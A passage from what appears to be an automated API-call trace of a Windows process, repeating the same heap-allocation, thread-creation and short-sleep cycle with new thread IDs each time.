lpMem=0x267f80) returned 1 [0078.460] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x267f80 | out: hHeap=0x230000) returned 1 [0078.460] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x2c) returned 0x267f80 [0078.460] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x404160, lpParameter=0x3b1fd34, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xc30 [0078.460] Sleep (dwMilliseconds=0x32) [0078.553] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x267f80) returned 1 [0078.553] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x267f80 | out: hHeap=0x230000) returned 1 [0078.553] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x2c) returned 0x267f80 [0078.554] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x404160, lpParameter=0x3b1fd34, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xc50 [0078.554] Sleep (dwMilliseconds=0x32) [0078.660] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x267f80) returned 1 [0078.660] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x267f80 | out: hHeap=0x230000) returned 1 [0078.660] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x2c) returned 0x267f80 [0078.660] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x404160, lpParameter=0x3b1fd34, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xc70 [0078.661] Sleep (dwMilliseconds=0x32) [0078.757] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x267f80) returned 1 [0078.757] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x267f80 | out: hHeap=0x230000) returned 1 [0078.757] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x2c) returned 0x267f80 [0078.757] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x404160, lpParameter=0x3b1fd34, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xc90 [0078.758] Sleep (dwMilliseconds=0x32) [0078.858] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x267f80) returned 1 [0078.858] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x267f80 | out: hHeap=0x230000) returned 1 [0078.858] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x2c) returned 0x267f80 [0078.858] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x404160, lpParameter=0x3b1fd34, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xcb0 [0078.859] Sleep (dwMilliseconds=0x32) [0078.942] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x267f80) returned 1 [0078.942] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x267f80 | out: hHeap=0x230000) returned 1 [0078.942] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x2c) returned 0x267f80 [0078.942] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x404160, lpParameter=0x3b1fd34, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xcd0 [0078.943] Sleep (dwMilliseconds=0x32) [0079.036] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x267f80) returned 1 [0079.036] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x267f80 | out: hHeap=0x230000) returned 1 [0079.036] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x2c) returned 0x267f80 [0079.036] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x404160, lpParameter=0x3b1fd34, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xcf0 [0079.037] Sleep (dwMilliseconds=0x32) [0079.131] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x267f80) returned 1 [0079.131] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x267f80 | out: hHeap=0x230000) returned 1 [0079.131] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x2c) returned 0x267f80 [0079.131] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x404160, lpParameter=0x3b1fd34, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xd10 [0079.132] Sleep (dwMilliseconds=0x32) [0079.224] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x267f80) returned 1 [0079.224] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x267f80 | out: hHeap=0x230000) returned 1 [0079.224] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x2c) returned 0x267f80 [0079.224] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x404160, lpParameter=0x3b1fd34, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xd30 [0079.225] Sleep (dwMilliseconds=0x32) [0079.317] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x267f80) returned 1 [0079.317] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x267f80 | out: hHeap=0x230000) returned 1 [0079.317] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x2c) returned 0x267f80 [0079.317] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x404160, lpParameter=0x3b1fd34, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xd50 [0079.318] Sleep (dwMilliseconds=0x32) [0079.410] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x267f80) returned 1 [0079.410] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x267f80 | out: hHeap=0x230000) returned 1 [0079.410] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x2c) returned 0x267f80 [0079.410] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x404160, lpParameter=0x3b1fd34, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xd70 [0079.411] Sleep (dwMilliseconds=0x32) [0079.503] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x267f80) returned 1 [0079.503] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x267f80 | out: hHeap=0x230000) returned 1 [0079.503] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x2c) returned 0x267f80 [0079.503] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x404160, lpParameter=0x3b1fd34, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xd90 [0079.504] Sleep (dwMilliseconds=0x32) [0079.597] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x267f80) returned 1 [0079.597] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x267f80 | out: hHeap=0x230000) returned 1 [0079.597] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x2c) returned 0x267f80 [0079.597] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x404160, lpParameter=0x3b1fd34, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xdb0 [0079.598] Sleep (dwMilliseconds=0x32) [0079.701] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x267f80) returned 1 [0079.701] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x267f80 | out: hHeap=0x230000) returned 1 [0079.701] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x2c) returned 0x267f80 [0079.701] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x404160, lpParameter=0x3b1fd34, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xdd0 [0079.702] Sleep (dwMilliseconds=0x32) [0079.785] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x267f80) returned 1 [0079.785] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x267f80 | out: hHeap=0x230000) returned 1 [0079.785] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x2c) returned 0x267f80 [0079.785] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x404160, lpParameter=0x3b1fd34, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xdf0 [0079.786] Sleep (dwMilliseconds=0x32) [0079.878] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x267f80) returned 1 [0079.878] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x267f80 | out: hHeap=0x230000) returned 1 [0079.878] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x2c) returned 0x267f80 [0079.878] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x404160, lpParameter=0x3b1fd34, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xe10 [0079.879] Sleep (dwMilliseconds=0x32) [0079.972] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x267f80) returned 1 [0079.972] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x267f80 | out: hHeap=0x230000) returned 1 [0079.972] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x2c) returned 0x267f80 [0079.972] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x404160, lpParameter=0x3b1fd34, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xe30 [0079.972] Sleep (dwMilliseconds=0x32) [0080.128] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x267f80) returned 1 [0080.128] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x267f80 | out: hHeap=0x230000) returned 1 [0080.128] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x2c) returned 0x267f80 [0080.128] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x404160, lpParameter=0x3b1fd34, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xe50 [0080.129] Sleep (dwMilliseconds=0x32) [0080.224] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x267f80) returned 1 [0080.224] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x267f80 | out: hHeap=0x230000) returned 1 [0080.224] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x2c) returned 0x267f80 [0080.224] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x404160, lpParameter=0x3b1fd34, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xe70 [0080.225] Sleep (dwMilliseconds=0x32) [0080.314] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x267f80) returned 1 [0080.314] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x267f80 | out: hHeap=0x230000) returned 1 [0080.314] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x2c) returned 0x267f80 [0080.314] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x404160, lpParameter=0x3b1fd34, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xe90 [0080.315] Sleep (dwMilliseconds=0x32) [0080.407] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x267f80) returned 1 [0080.407] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x267f80 | out: hHeap=0x230000) returned 1 [0080.407] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x2c) returned 0x267f80 [0080.407] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x404160, lpParameter=0x3b1fd34, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xeb0 [0080.408] Sleep (dwMilliseconds=0x32) [0080.501] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x267f80) returned 1 [0080.501] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x267f80 | out: hHeap=0x230000) returned 1 [0080.501] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x2c) returned 0x267f80 [0080.501] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x404160, lpParameter=0x3b1fd34, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xed0 [0080.502] Sleep (dwMilliseconds=0x32) [0080.594] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x267f80) returned 1 [0080.594] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x267f80 | out: hHeap=0x230000) returned 1 [0080.594] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x2c) returned 0x267f80 [0080.594] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x404160, lpParameter=0x3b1fd34, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xef0 [0080.595] Sleep (dwMilliseconds=0x32) [0080.688] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x267f80) returned 1 [0080.688] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x267f80 | out: hHeap=0x230000) returned 1 [0080.688] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x2c) returned 0x267f80 [0080.688] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x404160, lpParameter=0x3b1fd34, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xf10 [0080.689] Sleep (dwMilliseconds=0x32) [0080.797] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x267f80) returned 1 [0080.797] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x267f80 | out: hHeap=0x230000) returned 1 [0080.797] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x2c) returned 0x267f80 [0080.797] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x404160, lpParameter=0x3b1fd34, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xf30 [0080.798] Sleep (dwMilliseconds=0x32) [0080.889] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x267f80) returned 1 [0080.889] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x267f80 | out: hHeap=0x230000) returned 1 [0080.889] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x2c) returned 0x267f80 [0080.889] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x404160, lpParameter=0x3b1fd34, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x144 [0080.890] Sleep (dwMilliseconds=0x32) [0080.940] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x267f80) returned 1 [0080.940] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x267f80 | out: hHeap=0x230000) returned 1 [0080.940] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x2c) returned 0x267f80 [0080.940] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x404160, lpParameter=0x3b1fd34, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xf6c [0080.941] Sleep (dwMilliseconds=0x32) [0081.032] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x267f80) returned 1 [0081.032] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x267f80 | out: hHeap=0x230000) returned 1 [0081.033] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x2c) returned 0x267f80 [0081.033] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x404160, lpParameter=0x3b1fd34, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xf8c [0081.033] Sleep (dwMilliseconds=0x32) [0081.096] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x267f80) returned 1 [0081.096] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x267f80 | out: hHeap=0x230000) returned 1 [0081.096] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x2c) returned 0x267f80 [0081.096] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x404160, lpParameter=0x3b1fd34, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xfa0 [0081.096] Sleep (dwMilliseconds=0x32) [0081.192] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x267f80) returned 1 [0081.192] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x267f80 | out: hHeap=0x230000) returned 1 [0081.192] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x2c) returned 0x267f80 [0081.192] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x404160, lpParameter=0x3b1fd34, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xfc0 [0081.192] Sleep (dwMilliseconds=0x32) [0081.282] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x267f80) returned 1 [0081.282] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x267f80 | out: hHeap=0x230000) returned 1 [0081.282] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x2c) returned 0x267f80 [0081.282] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x404160, lpParameter=0x3b1fd34, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xfe0 [0081.283] Sleep (dwMilliseconds=0x32) [0081.375] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x267f80) returned 1 [0081.375] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x267f80 | out: hHeap=0x230000) returned 1 [0081.375] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x2c) returned 0x267f80 [0081.376] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x404160, lpParameter=0x3b1fd34, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1004 [0081.376] Sleep (dwMilliseconds=0x32) [0081.470] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x267f80) returned 1 [0081.470] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x267f80 | out: hHeap=0x230000) returned 1 [0081.470] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x2c) returned 0x267f80 [0081.470] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x404160, lpParameter=0x3b1fd34, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1024 [0081.471] Sleep (dwMilliseconds=0x32) [0081.563] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x267f80) returned 1 [0081.563] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x267f80 | out: hHeap=0x230000) returned 1 [0081.563] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x2c) returned 0x267f80 [0081.563] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x404160, lpParameter=0x3b1fd34, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1044 [0081.564] Sleep (dwMilliseconds=0x32) [0081.657] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x267f80) returned 1 [0081.657] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x267f80 | out: hHeap=0x230000) returned 1 [0081.657] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x2c) returned 0x267f80 [0081.657] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x404160, lpParameter=0x3b1fd34, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1064 [0081.658] Sleep (dwMilliseconds=0x32) [0081.760] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x267f80) returned 1 [0081.760] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x267f80 | out: hHeap=0x230000) returned 1 [0081.760] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x2c) returned 0x267f80 [0081.760] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x404160, lpParameter=0x3b1fd34, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1084 [0081.761] Sleep (dwMilliseconds=0x32) [0081.851] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x267f80) returned 1 [0081.851] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x267f80 | out: hHeap=0x230000) returned 1 [0081.851] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x2c) returned 0x267f80 [0081.851] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x404160, lpParameter=0x3b1fd34, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x10a4 [0081.852] Sleep (dwMilliseconds=0x32) [0081.938] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x267f80) returned 1 [0081.938] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x267f80 | out: hHeap=0x230000) returned 1 [0081.938] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x2c) returned 0x267f80 [0081.938] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x404160, lpParameter=0x3b1fd34, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x10c4 [0081.938] Sleep (dwMilliseconds=0x32) [0082.031] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x267f80) returned 1 [0082.031] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x267f80 | out: hHeap=0x230000) returned 1 [0082.031] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x2c) returned 0x267f80 [0082.032] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x404160, lpParameter=0x3b1fd34, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x10e4 [0082.033] Sleep (dwMilliseconds=0x32) [0082.098] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x267f80) returned 1 [0082.098] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x267f80 | out: hHeap=0x230000) returned 1 [0082.098] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x2c) returned 0x267f80 [0082.098] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x404160, lpParameter=0x3b1fd34, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1104 [0082.099] Sleep (dwMilliseconds=0x32) [0082.187] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x267f80) returned 1 [0082.187] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x267f80 | out: hHeap=0x230000) returned 1 [0082.187] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x2c) returned 0x267f80 [0082.187] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x404160, lpParameter=0x3b1fd34, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1124 [0082.188] Sleep (dwMilliseconds=0x32) [0082.280] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x267f80) returned 1 [0082.280] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x267f80 | out: hHeap=0x230000) returned 1 [0082.280] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x2c) returned 0x267f80 [0082.280] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x404160, lpParameter=0x3b1fd34, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1144 [0082.281] Sleep (dwMilliseconds=0x32) [0082.374] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x267f80) returned 1 [0082.374] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x267f80 | out: hHeap=0x230000) returned 1 [0082.374] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x2c) returned 0x267f80 [0082.374] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x404160, lpParameter=0x3b1fd34, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1164 [0082.375] Sleep (dwMilliseconds=0x32) [0082.467] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x267f80) returned 1 [0082.467] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x267f80 | out: hHeap=0x230000) returned 1 [0082.467] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x2c) returned 0x267f80 [0082.467] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x404160, lpParameter=0x3b1fd34, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1184 [0082.468] Sleep (dwMilliseconds=0x32) [0082.561] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x267f80) returned 1 [0082.561] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x267f80 | out: hHeap=0x230000) returned 1 [0082.562] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x2c) returned 0x267f80 [0082.562] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x404160, lpParameter=0x3b1fd34, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x11a4 [0082.562] Sleep (dwMilliseconds=0x32) [0082.656] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x267f80) returned 1 [0082.656] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x267f80 | out: hHeap=0x230000) returned 1 [0082.656] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x2c) returned 0x267f80 [0082.656] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x404160, lpParameter=0x3b1fd34, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x11c4 [0082.657] Sleep (dwMilliseconds=0x32) [0082.759] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x267f80) returned 1 [0082.759] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x267f80 | out: hHeap=0x230000) returned 1 [0082.759] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x2c) returned 0x267f80 [0082.759] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x404160, lpParameter=0x3b1fd34, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x11e4 [0082.760] Sleep (dwMilliseconds=0x32) [0082.842] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x267f80) returned 1 [0082.842] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x267f80 | out: hHeap=0x230000) returned 1 [0082.842] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x2c) returned 0x267f80 [0082.842] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x404160, lpParameter=0x3b1fd34, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1204 [0082.843] Sleep (dwMilliseconds=0x32) [0082.936] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x267f80) returned 1 [0082.936] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x267f80 | out: hHeap=0x230000) returned 1 [0082.936] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x2c) returned 0x267f80 [0082.936] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x404160, lpParameter=0x3b1fd34, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1224 [0082.937] Sleep (dwMilliseconds=0x32) [0083.029] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x267f80) returned 1 [0083.029] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x267f80 | out: hHeap=0x230000) returned 1 [0083.029] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x2c) returned 0x267f80 